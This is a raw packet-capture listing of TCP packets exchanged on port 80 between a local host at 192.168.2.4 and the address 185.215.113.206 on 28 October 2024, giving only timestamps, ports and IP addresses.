Oct 28, 2024 08:17:16.603930950 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.608834028 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.608860970 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.608875990 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.608899117 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.608899117 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.608957052 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.609524965 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.609541893 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.609559059 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.609575033 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.609587908 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.609587908 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.609612942 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.609612942 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.609612942 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.609662056 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.609671116 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.609725952 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.609740973 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.609755993 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.609759092 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.609786987 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.609786987 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.609813929 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.609973907 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.610001087 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.610017061 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.610018969 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.610059977 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.610059977 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.610183954 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.610239983 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.610246897 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.610263109 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.610279083 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.610297918 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.610297918 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.610356092 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.610455036 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.610506058 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.610528946 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.610543966 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.610543966 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.610588074 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.610599995 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.610610008 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.610625982 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.610635042 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.610641003 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.610657930 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.610660076 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.610660076 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.610682011 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.610739946 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.611115932 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.611133099 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.611149073 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.611165047 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.611165047 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.611166000 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.611190081 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.611270905 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.655978918 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.656008959 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.656023026 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.656065941 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.656065941 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.656074047 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.656090021 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.656097889 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.656110048 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.656121016 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.656137943 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.656153917 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.656155109 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.656155109 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.656168938 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.656188965 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.656192064 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.656192064 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.656202078 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.656234026 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.656234026 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.656246901 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.699836969 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.699856043 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.699872017 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.700000048 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.719032049 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.719201088 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.719254017 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.719269991 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.719285965 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.719300032 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.719332933 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.719332933 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.719362020 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.724261045 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.724360943 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.724425077 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.724440098 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.724487066 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.724487066 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.724716902 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.724730968 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.724778891 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.724778891 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.724819899 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.724843979 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.724857092 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.724872112 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.724895954 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.724895954 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.725008965 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.725030899 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.725047112 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.725073099 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.725073099 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.725131989 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.725167036 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.725183010 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.725197077 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.725235939 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.725235939 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.725429058 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.725455046 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.725471020 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.725478888 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.725497961 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.725512981 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.725517988 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.725517988 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.725549936 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.725549936 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.725724936 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.725763083 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.725776911 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.725783110 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.725819111 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.725819111 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.725826025 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.725841045 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.725884914 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.725884914 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.726268053 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.726320028 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.726325035 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.726335049 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.726377964 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.726377964 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.726418018 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.726433992 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.726448059 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.726464987 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.726470947 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.726478100 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.726497889 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.726497889 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.726537943 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.771286011 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.771353006 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.771356106 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.771370888 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.771389008 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.771404028 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.771420956 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.771420956 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.771445036 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.771445036 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.771466017 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.771486044 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.771521091 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.771539927 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.771626949 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.771640062 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.771686077 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.771686077 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.771699905 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.771720886 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.771735907 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.771759987 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.771759987 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.771796942 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.815156937 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.815175056 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.815191031 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.815268040 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.815268040 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.834475040 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.834502935 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.834522009 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.834536076 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.834543943 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.834574938 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.834574938 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.834575891 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.834621906 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.834623098 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.839489937 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.839540005 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.839555025 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.839582920 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.839582920 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.839600086 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.840030909 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.840084076 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.840112925 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.840156078 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.840157032 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.840173006 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.840188980 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.840204954 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.840210915 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.840229988 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.840245008 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.840245008 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.840245008 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.840274096 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.840292931 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.840590954 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.840617895 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.840632915 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.840657949 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.840657949 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.840672970 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.840709925 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.840723991 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.840759993 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.840773106 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.840866089 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.840882063 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.840899944 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.840914011 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.840929031 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.840939999 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.840939999 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.840970993 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.840993881 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.841176033 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.841264009 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.841274977 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.841289043 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.841304064 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.841319084 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.841319084 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.841319084 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.841336012 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.841335058 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.841375113 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.841375113 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.841751099 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.841767073 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.841794014 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.841809034 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.841818094 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.841826916 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.841831923 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.841831923 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.841902018 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.886580944 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.886606932 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.886622906 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.886636972 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.886652946 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.886665106 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.886665106 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.886667967 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.886708021 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.886708021 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.886770964 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.886784077 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.886831045 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.886867046 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.886882067 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.886898041 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.886912107 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.886921883 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.886921883 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.886939049 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.886950016 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.930407047 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.930433035 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.930469990 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.930491924 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.930491924 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.930546999 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.949636936 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.949651957 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.949703932 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.949732065 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.949748993 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.949755907 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.949765921 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.949776888 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.949785948 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.949789047 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.949820995 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.949820995 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.954932928 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.954984903 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.955005884 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.955022097 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.955059052 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.955099106 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.955473900 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.955498934 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.955513954 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.955528975 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.955543995 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.955543995 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.955543995 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.955563068 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.955581903 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.955636978 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.955723047 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.955745935 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.955760956 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.955775976 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.955784082 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.955784082 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.955791950 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.955799103 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.955826998 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.955826998 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.956007004 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.956022024 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.956037045 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.956063986 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.956105947 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.956120968 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.956135988 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.956152916 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.956152916 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.956201077 CET	49734	80	192.168.2.4	185.215.113.206
Oct 28, 2024 08:17:16.956520081 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.956536055 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.956558943 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.956573963 CET	80	49734	185.215.113.206	192.168.2.4
Oct 28, 2024 08:17:16.956588984 CET	80	49734	185.215.113.206	192.168.2.4
